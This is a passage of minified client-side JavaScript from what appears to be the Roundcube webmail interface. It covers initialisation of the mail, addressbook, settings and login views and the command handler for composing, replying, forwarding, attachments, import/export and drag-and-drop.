e.is(".active")};s.push(t)}),s.length&&(this.menu_buttons[t]=[[e],s])),this.set_menu_buttons()},this.set_menu_buttons=function(){clearTimeout(this.menu_buttons_timeout),this.menu_buttons_timeout=setTimeout(function(){$.each(ref.menu_buttons,function(){var t=!0;$.each(this[1],function(){var e="function"==typeof this;if(e&&this()||!e&&ref.commands[this])return t=!1}),$(this[0]).add($(this[0]).parent(".dropbutton")).addClass(t?"disabled":"active").removeClass(t?"active":"disabled")})},50)},this.gui_object=function(e,t){this.gui_objects[e]=this.loaded?rcube_find_object(t):t},this.gui_container=function(e,t){this.gui_containers[e]=t},this.add_element=function(e,t){this.gui_containers[t]&&this.gui_containers[t].jquery&&this.gui_containers[t].append(e)},this.register_command=function(e,t,s){this.command_handlers[e]=t,s&&this.enable_command(e,!0)},this.add_onload=function(e){this.onloads.push(e)},this.init=function(){var n,searchfilter;for(n in this.task=this.env.task,this.env.blankpage||(this.env.blankpage="javascript:false;"),this.gui_containers)this.gui_containers[n]=$("#"+this.gui_containers[n]);for(n in this.gui_objects)this.gui_objects[n]=rcube_find_object(this.gui_objects[n]);switch(this.init_buttons(),this.is_framed()&&parent.rcmail.unlock_frame(),this.enable_command("close","logout","mail","addressbook","settings","save-pref","compose","undo","about","switch-task","menu-open","menu-close","menu-save",!0),this.set_button(this.task,"sel"),this.env.permaurl&&this.enable_command("permaurl","extwin",!0),this.task){case"mail":this.enable_command("list","checkmail","add-contact","search","reset-search","collapse-folder","import-messages",!0),this.gui_objects.messagelist&&(this.msglist_setup(this.env.layout),this.env.widescreen_list_template=[{className:"threads",cells:["threads"]},{className:"subject",cells:["fromto","date","size","status","subject"]},{className:"flags",cells:["flag","attachment"]}],this.message_list=new rcube_list_widget(this.gui_objects.messagelist,{multiselect:!0,multiexpand:!0,draggable:!0,keyboard:!0,column_movable:this.env.col_movable,dblclick_time:this.dblclick_time}),this.message_list.addEventListener("initrow",function(e){ref.init_message_row(e)}).addEventListener("dblclick",function(e){ref.msglist_dbl_click(e)}).addEventListener("keypress",function(e){ref.msglist_keypress(e)}).addEventListener("select",function(e){ref.msglist_select(e)}).addEventListener("dragstart",function(e){ref.drag_start(e)}).addEventListener("dragmove",function(e){ref.drag_move(e)}).addEventListener("dragend",function(e){ref.drag_end(e)}).addEventListener("expandcollapse",function(e){ref.msglist_expand(e)}).addEventListener("column_replace",function(e){ref.msglist_set_coltypes(e)}).init(),$(this.message_list.thead).on("click","a.sortcol",function(e){return ref.command("sort",$(this).attr("rel"),this)}),this.enable_command("toggle_status","toggle_flag","sort",!0),this.enable_command("set-listmode",this.env.threads&&!this.is_multifolder_listing()),searchfilter=$(this.gui_objects.search_filter).val(),searchfilter&&"ALL"!=searchfilter?this.filter_mailbox(searchfilter):this.command("list"),$(this.gui_objects.qsearchbox).val(this.env.search_text).focusin(function(){ref.message_list.blur()})),this.set_button_titles(),this.env.message_commands=["show","reply","reply-all","reply-list","move","copy","delete","open","mark","edit","viewsource","bounce","print","load-attachment","download-attachment","show-headers","hide-headers","download","forward","forward-inline","forward-attachment","change-format"],"show"==this.env.action||"preview"==this.env.action?(this.enable_command(this.env.message_commands,this.env.uid),this.enable_command("reply-list",this.env.list_post),"show"==this.env.action&&this.http_request("pagenav",{_uid:this.env.uid,_mbox:this.env.mailbox,_search:this.env.search_request},this.display_message("","loading")),0<this.env.mail_read_time&&setTimeout(function(){ref.http_post("mark",{_uid:ref.env.uid,_flag:"read",_mbox:ref.env.mailbox,_quiet:1})},1e3*this.env.mail_read_time),this.env.blockedobjects&&($(this.gui_objects.remoteobjectsmsg).show(),this.enable_command("load-remote",!0)),"preview"==this.env.action&&this.is_framed()&&(this.enable_command("compose","add-contact",!1),parent.rcmail.show_contentframe(!0)),0<=$.inArray("flagged",this.env.message_flags)&&$(document.body).addClass("status-flagged"),this.gui_objects.attachments&&$("li > a",this.gui_objects.attachments).not(".drop").on("dragstart",function(e){var t,s=this.href,e=e.originalEvent.dataTransfer;e&&(s=s.replace(/^https?:\/\//,function(e){return e+urlencode(ref.env.username)+"@"}),(t=$(this).clone()).children().remove(),e.setData("roundcube-uri",s),e.setData("roundcube-name",t.text().trim()))}),this.check_mailvelope(this.env.action)):"compose"==this.env.action?(this.env.address_group_stack=[],this.env.compose_commands=["send-attachment","remove-attachment","send","cancel","toggle-editor","list-addresses","pushgroup","search","reset-search","extwin","insert-response","menu-open","menu-close","load-attachment","download-attachment","open-attachment","rename-attachment"],this.env.drafts_mailbox&&this.env.compose_commands.push("savedraft"),this.enable_command(this.env.compose_commands,!0),$.merge(this.env.compose_commands,["add-recipient","firstpage","previouspage","nextpage","lastpage"]),window.googie&&(this.env.editor_config.spellchecker=googie,this.env.editor_config.spellcheck_observer=function(e){ref.spellcheck_state()},this.env.compose_commands.push("spellcheck"),this.enable_command("spellcheck",!0)),this.editor_init(null,this.env.composebody),this.init_messageform(),this.check_mailvelope(this.env.action)):"bounce"==this.env.action?(this.init_messageform_inputs(),this.env.compose_commands=[]):"get"==this.env.action?(this.enable_command("download",!0),this.enable_command("image-scale","image-rotate",!!/^image\//.test(this.env.mimetype)),this.enable_command("print","application/pdf"!=this.env.mimetype||!bw.mz||75<=bw.vendver),this.env.is_message&&(this.enable_command("reply","reply-all","edit","viewsource","forward","forward-inline","forward-attachment","bounce",!0),this.env.list_post)&&this.enable_command("reply-list",!0),this.env.mimetype.startsWith("image/")&&$(this.gui_objects.messagepartframe).on("load",function(){var e=$(this).contents();e.find("img").length&&e.find("head").append('<style type="text/css">img { max-width:100%; max-height:100%; } body { display:flex; align-items:center; justify-content:center; height:100%; margin:0; }</style>')})):"print"==this.env.action&&this.env.uid&&(this.check_mailvelope(this.env.action),this.env.is_pgp_content||this.env.pgp_mime_part||this.print_dialog()),this.gui_objects.mailboxlist&&(this.env.unread_counts={},this.gui_objects.folderlist=this.gui_objects.mailboxlist,this.http_request("getunread",{_page:this.env.current_page})),this.gui_objects.contactslist&&(this.contact_list=new rcube_list_widget(this.gui_objects.contactslist,{multiselect:!0,draggable:!1,keyboard:!0}),this.contact_list.addEventListener("initrow",function(e){ref.triggerEvent("insertrow",{cid:e.uid,row:e})}).addEventListener("select",function(e){ref.compose_recipient_select(e)}).addEventListener("dblclick",function(e){ref.compose_add_recipient()}).addEventListener("keypress",function(e){e.key_pressed!=e.ENTER_KEY||ref.compose_add_recipient()||e.last_selected&&"G"==String(e.last_selected).charAt(0)&&$(e.rows[e.last_selected].obj).find("a").first().click()}).init(),$("#_to,#_cc,#_bcc").focus(function(){ref.env.focused_field=this})),this.gui_objects.addressbookslist&&(this.gui_objects.folderlist=this.gui_objects.addressbookslist,this.enable_command("list-addresses",!0)),this.env.mdn_request&&this.env.uid&&this.mdn_request_dialog(this.env.uid,this.env.mailbox),this.is_framed()||this.env.extwin||this.browser_capabilities_check();break;case"addressbook":this.env.address_group_stack=[],this.gui_objects.folderlist&&(this.env.contactfolders=$.extend($.extend({},this.env.address_sources),this.env.contactgroups)),this.enable_command("add","import",this.env.writable_source),this.enable_command("list","listgroup","pushgroup","popgroup","listsearch","search","reset-search","advanced-search",!0),this.gui_objects.contactslist&&(this.contact_list=new rcube_list_widget(this.gui_objects.contactslist,{multiselect:!0,draggable:!!this.gui_objects.folderlist,keyboard:!0}),this.contact_list.addEventListener("initrow",function(e){ref.triggerEvent("insertrow",{cid:e.uid,row:e})}).addEventListener("keypress",function(e){ref.list_keypress(e)}).addEventListener("select",function(e){ref.contactlist_select(e)}).addEventListener("dragstart",function(e){ref.drag_start(e)}).addEventListener("dragmove",function(e){ref.drag_move(e)}).addEventListener("dragend",function(e){ref.drag_end(e)}).init(),$(this.gui_objects.qsearchbox).focusin(function(){ref.contact_list.blur()}),this.update_group_commands(),this.command("list")),this.gui_objects.savedsearchlist&&(this.savedsearchlist=new rcube_treelist_widget(this.gui_objects.savedsearchlist,{id_prefix:"rcmli",id_encode:this.html_identifier_encode,id_decode:this.html_identifier_decode}),this.savedsearchlist.addEventListener("select",function(e){ref.triggerEvent("selectfolder",{folder:e.id,prefix:"rcmli"})})),this.set_page_buttons(),this.env.cid&&(this.enable_command("show","edit","qrcode",!0),this.gui_objects.editform)&&$("input.groupmember").change(function(){ref.group_member_change(this.checked?"add":"del",ref.env.cid,ref.env.source,this.value)}),this.gui_objects.editform?(this.enable_command("save",!0),"add"!=this.env.action&&"edit"!=this.env.action&&"search"!=this.env.action||this.init_contact_form()):"print"==this.env.action&&this.print_dialog();break;case"settings":this.enable_command("show","save",!0),"identities"==this.env.action?this.enable_command("add",this.env.identities_level<2):"edit-identity"==this.env.action||"add-identity"==this.env.action?(this.enable_command("save","edit",!0),this.enable_command("delete",this.env.identities_level<2),"edit-identity"==this.env.action&&this.check_mailvelope(this.env.action)):"folders"==this.env.action?this.enable_command("subscribe","unsubscribe","create-folder","rename-folder",!0):"edit-folder"==this.env.action&&this.gui_objects.editform?(this.enable_command("save","folder-size",!0),parent.rcmail.env.exists=this.env.messagecount,parent.rcmail.enable_command("purge",this.env.messagecount)):"responses"==this.env.action&&this.enable_command("add",!0),this.gui_objects.identitieslist?(this.identity_list=new rcube_list_widget(this.gui_objects.identitieslist,{multiselect:!1,draggable:!1,keyboard:!0}),this.identity_list.addEventListener("select",function(e){ref.identity_select(e)}).addEventListener("keypress",function(e){ref.list_keypress(e)}).init().focus()):this.gui_objects.sectionslist?(this.sections_list=new rcube_list_widget(this.gui_objects.sectionslist,{multiselect:!1,draggable:!1,keyboard:!0}),this.sections_list.addEventListener("select",function(e){ref.section_select(e)}).init().focus()):this.gui_objects.subscriptionlist?this.init_subscription_list():this.gui_objects.responseslist&&(this.responses_list=new rcube_list_widget(this.gui_objects.responseslist,{multiselect:!1,draggable:!1,keyboard:!0}),this.responses_list.addEventListener("select",function(e){ref.response_select(e)}).addEventListener("keypress",function(e){ref.list_keypress(e)}).init().focus());break;case"login":var tz,tz_name,input_user=$("#rcmloginuser"),input_tz=$("#rcmlogintz");(""==input_user.val()?input_user:$("#rcmloginpwd")).focus(),window.jstz&&(tz=jstz.determine())&&(tz_name=tz.name()),input_tz.val(tz_name||(new Date).getStdTimezoneOffset()/-60),$("form").submit(function(){$("[type=submit]",this).prop("disabled",!0),ref.clear_messages(),ref.display_message("","loading")})}this.gui_objects.editform&&$("input,select,textarea",this.gui_objects.editform).not(":hidden").not(":disabled").first().select().focus(),bw.ie&&$("input[type=file]").keydown(function(e){"13"==e.keyCode&&e.preventDefault()}),this.loaded=!0,this.env.lastrefresh=new Date,this.pending_message&&this.display_message.apply(this,this.pending_message),this.gui_objects.folderlist&&window.rcube_treelist_widget&&this.gui_objects.folderlist!=this.gui_objects.addressbookslist&&(this.treelist=new rcube_treelist_widget(this.gui_objects.folderlist,{selectable:!0,id_prefix:"rcmli",parent_focus:!0,id_encode:this.html_identifier_encode,id_decode:this.html_identifier_decode,check_droptarget:function(e){return!e.virtual&&ref.check_droptarget(e.id)}}),this.treelist.addEventListener("collapse",function(e){ref.folder_collapsed(e)}).addEventListener("expand",function(e){ref.folder_collapsed(e)}).addEventListener("beforeselect",function(e){return!ref.busy}).addEventListener("select",function(e){ref.triggerEvent("selectfolder",{folder:e.id,prefix:"rcmli"}),ref.mark_all_read_state()})),this.gui_objects.filedrop&&this.env.filedrop&&window.FormData&&($(document.body).on("dragover dragleave drop",function(e){return ref.document_drag_hover(e,"dragover"==e.type)}),$(this.gui_objects.filedrop).addClass("droptarget").on("dragover dragleave",function(e){return ref.file_drag_hover(e,"dragover"==e.type)}).get(0).addEventListener("drop",function(e){return ref.file_dropped(e)},!1));var body_mouseup=function(e){return ref.doc_mouse_up(e)};for(n in $(document.body).mouseup(body_mouseup).keydown(function(e){return ref.doc_keypress(e)}),rcube_webmail.set_iframe_events({mouseup:body_mouseup}),this.triggerEvent("init",{task:this.task,action:this.env.action}),this.onloads)"string"==typeof this.onloads[n]?eval(this.onloads[n]):"function"==typeof this.onloads[n]&&this.onloads[n]();$("[data-popup]").each(function(){ref.register_menu_button(this,$(this).data("popup"))}),this.start_refresh(),this.start_keepalive()},this.log=function(e){this.env.devel_mode&&window.console&&console.log&&console.log(e)},this.command=function(e,t,s,i,n){if(!s||!s.blur||i&&rcube_event.is_keyboard(i)||s.blur(),this.busy&&("reset-search"!=e||"search"!=this.last_command)&&!e.match(/^menu-/))return!1;if(s&&s.href&&String(s.href).indexOf("#")<0&&rcube_event.get_modifier(i))return!0;if(!n&&!this.commands[e])return this.is_framed()&&parent.rcmail.command(e,t),!1;if("mail"==this.task&&"compose"==this.env.action&&!this.env.server_error&&"save-pref"!=e&&($.inArray(e,this.env.compose_commands)<0||e.startsWith("compose-encrypted")&&ref.mailvelope_editor)&&!this.compose_skip_unsavedcheck&&!this.env.is_sent&&this.cmp_hash!=this.compose_field_hash())return this.confirm_dialog(this.get_label("notsentwarning"),"discard",function(){ref.remove_compose_data(ref.env.compose_id),ref.compose_skip_unsavedcheck=!0,ref.command(e,t,s,i)}),!1;if(this.last_command=e,this.command_aborted=!1,this.triggerEvent("actionbefore",{props:t,action:e,originalEvent:i}),void 0!==(n=this.triggerEvent("before"+e,t||i))){if(!1===n)return!1;t=n}return n="function"==typeof this.command_handlers[e]?this.command_handlers[e](t,s,i):"string"==typeof this.command_handlers[e]?window[this.command_handlers[e]](t,s,i):this.command_handler(e,t,s,i),this.command_aborted||!1!==this.triggerEvent("after"+e,t)||(n=!1),this.triggerEvent("actionafter",{props:t,action:e,aborted:this.command_aborted,ret:n,originalEvent:i}),!1!==n&&!(s&&!0!==n||!0===this.command_aborted)},this.command_handler=function(e,t,s,i){var n,a,r,o;switch(e){case"logout":case"mail":case"addressbook":case"settings":this.switch_task(e);break;case"about":this.redirect("?_task=settings&_action=about",!1);break;case"permaurl":if(s&&s.href&&s.target)return!0;this.env.permaurl&&(parent.location.href=this.env.permaurl);break;case"extwin":"compose"==this.env.action?(m=this.gui_objects.messageform,(l=this.open_window(""))&&(this.save_compose_form_local(),this.compose_skip_unsavedcheck=!0,$("[name='_action']",m).val("compose"),m.action=this.url("mail/compose",{_id:this.env.compose_id,_extwin:1}),m.target=l.name,m.submit())):this.open_window(this.env.permaurl,!0);break;case"change-format":n=this.env.permaurl+"&_format="+t,"preview"==this.env.action&&(n=n.replace(/_action=show/,"_action=preview")+"&_framed=1"),this.env.extwin&&(n+="&_extwin=1"),location.href=n;break;case"menu-open":t&&"attachmentmenu"==t.menu&&((d=this.env.attachments[t.id])&&d.mimetype&&(d=d.mimetype),this.enable_command("open-attachment",d&&this.env.mimetypes&&0<=$.inArray(d,this.env.mimetypes))),this.show_menu(t,t.show||void 0,i);break;case"menu-close":this.hide_menu(t,i);break;case"menu-save":return this.triggerEvent(e,{props:t,originalEvent:i}),!1;case"open":if(r=this.get_single_uid())return s.href=this.url("show",this.params_from_uid(r,{_extwin:1})),!0;break;case"close":this.env.extwin&&window.close();break;case"list":t&&""!=t&&this.reset_qsearch(!0),"compose"==this.env.action&&this.env.extwin?window.close():"mail"==this.task?(this.list_mailbox(t,t?1:""),this.set_button_titles()):"addressbook"==this.task&&this.list_contacts(t);break;case"set-listmode":this.set_list_options(null,void 0,void 0,"threads"==t?1:0);break;case"sort":var l=this.env.sort_order,c=this.env.disabled_sort_col?this.env.sort_col:t;this.env.disabled_sort_order||(l=this.env.sort_col==c&&"ASC"==l?"DESC":"ASC"),this.set_list_sorting(c,l),this.list_mailbox("","",c+"_"+l);break;case"nextpage":this.list_page("next");break;case"lastpage":this.list_page("last");break;case"previouspage":this.list_page("prev");break;case"firstpage":this.list_page("first");break;case"expunge":this.env.exists&&this.expunge_mailbox(this.env.mailbox);break;case"purge":case"empty-mailbox":this.env.exists&&this.purge_mailbox(this.env.mailbox);break;case"show":"mail"==this.task?!(r=this.get_single_uid())||this.env.uid&&r==this.env.uid||((c=this.get_message_mailbox(r))==this.env.drafts_mailbox?this.open_compose_step({_draft_uid:r,_mbox:c}):this.show_message(r)):"addressbook"==this.task?!(_=t||this.get_single_cid())||"show"==this.env.action&&_==this.env.cid||this.load_contact(_,"show"):"settings"==this.task&&this.goto_url("settings/"+t,{_framed:0});break;case"add":"addressbook"==this.task?this.load_contact(0,"add"):"settings"==this.task&&"responses"==this.env.action?this.load_response(0,"add-response"):"settings"==this.task&&this.load_identity(0,"add-identity");break;case"edit":"addressbook"==this.task&&(_=this.get_single_cid())?this.load_contact(_,"edit"):"mail"==this.task&&(r=this.get_single_uid())&&((n={_mbox:this.get_message_mailbox(r)})[n._mbox==this.env.drafts_mailbox&&"new"!=t?"_draft_uid":"_uid"]=r,this.open_compose_step(n));break;case"save":if(m=this.gui_objects.editform){if((o=$("[name='_pagesize']",m))&&o.length&&isNaN(parseInt(o.val()))){this.alert_dialog(this.get_label("nopagesizewarning"),function(){o.focus()});break}if("reload"==t)m.action+="&_reload=1";else if("settings"==this.task&&this.env.identities_level%2==0&&(o=$("[name='_email']",m))&&o.length&&!rcube_check_email(o.val())){this.alert_dialog(this.get_label("noemailwarning"),function(){o.focus()});break}parent.rcmail&&parent.rcmail.env.source&&(m.action=this.add_url(m.action,"_orig_source",parent.rcmail.env.source)),m.submit()}break;case"delete":"mail"==this.task?this.delete_messages(i):"addressbook"==this.task?this.delete_contacts():"settings"==this.task&&"responses"==this.env.action?this.delete_response():"settings"==this.task&&this.delete_identity();break;case"move":case"moveto":"mail"==this.task?this.move_messages(t,i):"addressbook"==this.task&&this.move_contacts(t,i);break;case"copy":"mail"==this.task?this.copy_messages(t,i):"addressbook"==this.task&&this.copy_contacts(t,i);break;case"mark":t&&this.mark_message(t);break;case"toggle_status":case"toggle_flag":a="toggle_flag"==e?"flagged":"read",(r=t)&&("flagged"==a?this.message_list.rows[r].flagged&&(a="unflagged"):this.message_list.rows[r].deleted?a="undelete":this.message_list.rows[r].unread||(a="unread"),this.mark_message(a,r));break;case"add-contact":this.add_contact(t);break;case"load-remote":if(this.env.uid){if(t&&this.env.sender){this.add_contact(this.env.sender,!0,t);break}this.show_message(this.env.uid,!0,"preview"==this.env.action)}break;case"load-attachment":case"open-attachment":case"download-attachment":var h,d=this.env.attachments[t];return"compose"==this.env.action?(h={_file:t,_id:this.env.compose_id},d=d?d.mimetype:""):h={_mbox:this.env.mailbox,_uid:this.env.uid,_part:t},"download-attachment"!=e&&d&&this.env.mimetypes&&0<=$.inArray(d,this.env.mimetypes)&&this.open_window(this.url("get",$.extend({_frame:1,_framed:0},h)))||(h._download=1,this.compose_skip_unsavedcheck=1,this.goto_url("get",h,!1,!0),this.compose_skip_unsavedcheck=0),!0;case"select-all":this.select_all_mode=!t,this.dummy_select=!0;l=this["addressbook"==this.task?"contact_list":"message_list"];"invert"==t?l.invert_selection():l.select_all("page"==t?"":t),this.dummy_select=null;break;case"select-none":this.select_all_mode=!1,this["addressbook"==this.task?"contact_list":"message_list"].clear_selection();break;case"expand-all":this.env.autoexpand_threads=1,this.message_list.expand_all();break;case"expand-unread":this.env.autoexpand_threads=2,this.message_list.collapse_all(),this.expand_unread();break;case"collapse-all":this.env.autoexpand_threads=0,this.message_list.collapse_all();break;case"nextmessage":this.env.next_uid&&this.show_message(this.env.next_uid,!1,"preview"==this.env.action);break;case"lastmessage":this.env.last_uid&&this.show_message(this.env.last_uid);break;case"previousmessage":this.env.prev_uid&&this.show_message(this.env.prev_uid,!1,"preview"==this.env.action);break;case"firstmessage":this.env.first_uid&&this.show_message(this.env.first_uid);break;case"compose":if(n={},"mail"==this.task)n={_mbox:this.env.mailbox,_search:this.env.search_request},t&&(n._to=t);else if("addressbook"==this.task)if(t&&0<t.indexOf("@"))n._to=t;else{c=[];if(t?c.push(t):this.contact_list&&(c=this.contact_list.get_selection()),c.length){this.http_post("mailto",{_cid:c.join(","),_source:this.env.source},!0);break}if(this.env.group&&this.env.pagecount){this.http_post("mailto",{_gid:this.env.group,_source:this.env.source},!0);break}}else t&&"string"==typeof t?n._to=t:t&&"object"==typeof t&&$.extend(n,t);this.open_compose_step(n);break;case"spellcheck":this.spellcheck_state()?this.editor.spellcheck_stop():this.editor.spellcheck_start();break;case"savedraft":clearTimeout(this.save_timer),this.env.draft_id&&this.cmp_hash==this.compose_field_hash()?this.auto_save_start():this.submit_messageform(!0);break;case"send":(t.nocheck||this.env.is_sent||this.check_compose_input(e))&&(clearTimeout(this.save_timer),this.submit_messageform());break;case"send-attachment":clearTimeout(this.save_timer),(a=this.upload_file(t||this.gui_objects.uploadform,"upload"))||(!1!==a&&this.alert_dialog(this.get_label("selectimportfile")),aborted=!0);break;case"insert-sig":this.change_identity($("[name='_from']")[0],!0);break;case"list-addresses":this.list_contacts(t),this.enable_command("add-recipient",!1);break;case"add-recipient":this.compose_add_recipient(t);break;case"reply-all":case"reply-list":case"reply":(r=this.get_single_uid())&&(n={_reply_uid:r,_mbox:this.get_message_mailbox(r),_search:this.env.search_request},"reply-all"==e?n._all=!t&&1==this.env.reply_all_mode&&this.commands["reply-list"]?"list":"all":"reply-list"==e&&(n._all="list"),this.open_compose_step(n));break;case"forward-attachment":case"forward-inline":case"forward":var _=this.env.uid?[this.env.uid]:this.message_list?this.message_list.get_selection():[];_.length&&(n={_forward_uid:this.uids_to_list(_),_mbox:this.env.mailbox,_search:this.env.search_request},("forward-attachment"==e||!t&&this.env.forward_attachment||1<_.length)&&(n._attachment=1),this.open_compose_step(n));break;case"print":"addressbook"==this.task?(r=this.get_single_cid())&&(n="&_action=print&_cid="+r,this.env.source&&(n+="&_source="+urlencode(this.env.source)),this.open_window(this.env.comm_path+n,!0,!0)):"get"!=this.env.action||this.env.is_message?(r=this.get_single_uid())&&(n=this.url("print",this.params_from_uid(r,{_safe:this.env.safemode?1:0})),this.open_window(n,!0,!0))&&"show"!=this.env.action&&"get"!=this.env.action&&this.mark_message("read",r):this.gui_objects.messagepartframe.contentWindow.print();break;case"viewsource":(r=this.get_single_uid())&&this.open_window(this.url("viewsource",this.params_from_uid(r)),!0,!0);break;case"download":"get"==this.env.action?location.href=this.secure_url(location.href.replace(/_frame=/,"_download=")):(r=this.get_single_uid())&&this.goto_url("viewsource",this.params_from_uid(r,{_save:1}),!1,!0);break;case"search":return this.qsearch(t);case"reset-search":d=this.env.search_request||this.env.qsearch;this.reset_qsearch(!0),d&&"compose"==this.env.action?this.contact_list&&this.list_contacts_clear():d&&this.env.mailbox?this.list_mailbox(this.env.mailbox,1):d&&"addressbook"==this.task&&(this.env.source=this.env.last_source||"",this.env.group=this.env.last_group||"",this.list_contacts(this.env.source,this.env.group,1));break;case"pushgroup":var u={id:t.id,search_request:this.env.search_request,page:this.env.current_page,search:this.env.search_request&&this.gui_objects.qsearchbox?this.gui_objects.qsearchbox.value:null};this.env.address_group_stack.push(u),s&&i&&rcube_event.cancel(i);case"listgroup":this.reset_qsearch(),this.list_contacts(t.source,t.id,1,u);break;case"popgroup":this.env.address_group_stack.length&&(h=this.env.address_group_stack.pop(),this.reset_qsearch(),h.search_request?(h.search&&this.gui_objects.qsearchbox&&$(this.gui_objects.qsearchbox).val(h.search),this.env.search_request=h.search_request,this.list_contacts_remote(null,null,this.env.current_page=h.page)):this.list_contacts(t.source,this.env.address_group_stack[this.env.address_group_stack.length-1].id));break;case"import-messages":var m=t||this.gui_objects.importform,l=this.set_busy(!0,"importwait");(a=this.upload_file(m,"import",l))||(this.set_busy(!1,null,l),!1!==a&&this.alert_dialog(this.get_label("selectimportfile")),this.command_aborted=!0);break;case"import":var p=$("<iframe>").attr("src",this.url("import",{_framed:1,_target:this.env.source}));this.import_state=null,this.import_dialog=this.simple_dialog(p,"importcontacts",function(e){var t,s=p[0].contentWindow,i=null;(i=s.rcmail.gui_objects.importformmap||s.rcmail.gui_objects.importform)&&((t=s.$("#rcmimportfile")[0])&&!t.value?s.rcmail.alert_dialog(s.rcmail.get_label("selectimportfile")):(t=s.rcmail.set_busy(!0,"importwait"),$('[name="_unlock"]',i).val(t),i.submit(),s.rcmail.lock_form(i,!0),$(e.target).attr("disabled",!0).next().focus()))},{close:function(e,t){$(this).remove(),"reload"==ref.import_state&&ref.command("list")},button:"import",width:500,height:300});break;case"export":0<this.contact_list.rowcount&&this.goto_url("export",{_source:this.env.source,_gid:this.env.group,_search:this.env.search_request},!1,!0);break;case"export-selected":0<this.contact_list.rowcount&&this.goto_url("export",{_source:this.env.source,_gid:this.env.group,_cid:this.contact_list.get_selection().join(",")},!1,!0);break;case"upload-photo":this.upload_contact_photo(t||this.gui_objects.uploadform);break;case"delete-photo":this.replace_contact_photo("-del-");break;case"undo":this.http_request("undo","",this.display_message("","loading"));break;default:c=e.replace(/-/g,"_");if(this[c]&&"function"==typeof this[c])return this[c](t,s,i)}},this.enable_command=function(){for(var e,t,s=Array.prototype.slice.call(arguments),i=s.pop(),n=0;n<s.length;n++)if("string"==typeof(t=s[n]))this.commands[t]=i,this.set_button(t,i?"act":"pas"),this.triggerEvent("enable-command",{command:t,status:i});else for(e in t)s.push(t[e]);this.set_menu_buttons()},this.command_enabled=function(e){return this.commands[e]},this.set_busy=function(e,t,s){var i;return e&&t?(i=this.get_label(t),s=this.display_message(i=i==t?"Loading...":i,"loading")):!e&&s&&this.hide_message(s),this.busy=e,this.gui_objects.editform&&this.lock_form(this.gui_objects.editform,e),s},this.get_label=function(e,t){return t&&this.labels[t+"."+e]?this.labels[t+"."+e]:this.labels[e]||e},this.gettext=this.get_label,this.switch_task=function(e){var t,s;2==(s=e.split("/")).length&&(e=s[0],t=s[1]),this.task===e&&"mail"!=e||(s=this.get_task_url(e),t&&(s+="&_action="+t),"mail"==e?s+="&_mbox=INBOX":"logout"==e&&(s=this.secure_url(s),this.clear_compose_data()),this.redirect(s))},this.get_task_url=function(e,t){return(t=t||this.env.comm_path).match(/[?&]_task=[a-zA-Z0-9_-]+/)?t.replace(/_task=[a-zA-Z0-9_-]+/,"_task="+e):t.replace(/\?.*$/,"")+"?_task="+e},this.reload=function(e){this.is_framed()?parent.rcmail.reload(e):e?setTimeout(function(){ref.reload()},e):window.location&&(location.href=this.url("",{_extwin:this.env.extwin}))},this.add_url=function(e,t,s){var i,n,a="";return s=urlencode(s),/(#[a-z0-9_-]*)$/.test(e)&&(a=RegExp.$1,e=e.substr(0,e.length-a.length)),/(\?.*)$/.test(e)?(i=RegExp.$1,(n=RegExp("((\\?|&)"+RegExp.escape(t)+"=[^&]*)")).test(i)?i=i.replace(n,RegExp.$2+t+"="+s):i+="&"+t+"="+s,e.replace(/(\?.*)$/,i)+a):e+"?"+t+"="+s+a},this.secure_url=function(e){return this.add_url(e,"_token",this.env.request_token)},this.is_framed=function(){return this.env.framed&&parent.rcmail&&parent.rcmail!=this&&"function"==typeof parent.rcmail.command},this.save_pref=function(e){var t={_name:e.name,_value:e.value};e.session&&(t._session=e.session),e.env&&(this.env[e.env]=e.value),this.http_post("save-pref",t)},this.html_identifier=function(e,t){return t?this.html_identifier_encode(e):String(e).replace(this.identifier_expr,"_")},this.html_identifier_encode=function(e){return Base64.encode(String(e)).replace(/=+$/,"").replace(/\+/g,"-").replace(/\//g,"_")},this.html_identifier_decode=function(e){for(e=String(e).replace(/-/g,"+").replace(/_/g,"/");e.length%4;)e+="=";return Base64.decode(e)},this.drag_menu=function(e,t){var s=rcube_event.get_modifier(e),i=this.gui_objects.dragmenu;return!(!i||s!=SHIFT_KEY||!this.commands.copy||(s=rcube_event.get_mouse_pos(e),this.env.drag_target=t,this.show_menu(this.gui_objects.dragmenu.id,!0,e),$(i).css({top:s.y-10+"px",left:s.x-10+"px"}),0))},this.drag_menu_action=function(e){var t=this.gui_objects.dragmenu;t&&$(t).hide(),this.command(e,this.env.drag_target),this.env.drag_target=null},this.drag_start=function(e){this.drag_active=!0,this.preview_timer&&clearTimeout(this.preview_timer),this.treelist&&this.treelist.drag_start()},this.drag_end=function(e){var t,s;this.treelist&&this.treelist.drag_end(),(t=this.message_list)?s=this.env.mailboxes:(t=this.contact_list)&&(s=this.env.contactfolders),this.drag_active&&s&&this.env.last_folder_target&&!rcube_event.is_keyboard(e)&&(s=s[this.env.last_folder_target],t.draglayer.hide(),this.contact_list?this.contacts_drag_menu(e,s)||this.command("move",s):this.drag_menu(e,s)||this.command("move",s)),this.drag_active=!1,this.env.last_folder_target=null},this.drag_move=function(e){var t,s;this.gui_objects.folderlist&&(s="draglayernormal",e=rcube_event.get_mouse_pos(e),this.contact_list&&this.contact_list.draglayer&&(t=this.contact_list.draglayer.attr("class")),this.treelist&&(e=this.treelist.intersects(e,!0))?(this.env.last_folder_target=e,s="draglayer"+(1<this.check_droptarget(e)?"copy":"normal")):this.env.last_folder_target=null,s!=t)&&this.contact_list&&this.contact_list.draglayer&&this.contact_list.draglayer.attr("class",s)},this.collapse_folder=function(e){this.treelist&&this.treelist.toggle(e)},this.folder_collapsed=function(e){this.folder_collapsed_timer&&clearTimeout(this.folder_collapsed_timer);var t="addressbook"==this.env.task?"collapsed_abooks":"collapsed_folders",s=this.env[t],i="&"+urlencode(e.id)+"&";this.env[t]=s.replace(i,""),e.collapsed&&(this.env[t]=this.env[t]+i,!e.virtual)&&this.env.mailbox&&this.env.mailbox.startsWith(e.id+this.env.delimiter)&&this.command("list",e.id),this.drag_active||(s!==this.env[t]&&(this.folder_collapsed_timer=setTimeout(function(){ref.command("save-pref",{name:t,value:ref.env[t]})},10)),this.env.unread_counts&&this.set_unread_count_display(e.id,!1))},this.doc_mouse_up=function(s){var e,r=rcube_event.get_target(s);if(!$(r).closest(".ui-dialog, .ui-widget-overlay").length){if(window.rcube_list_widget&&rcube_list_widget._instances.length&&$.each(rcube_list_widget._instances,function(e,t){t&&!rcube_mouse_is_over(s,t.list.parentNode)&&t.blur()}),this.buttons_sel){for(e in this.buttons_sel)"function"!=typeof 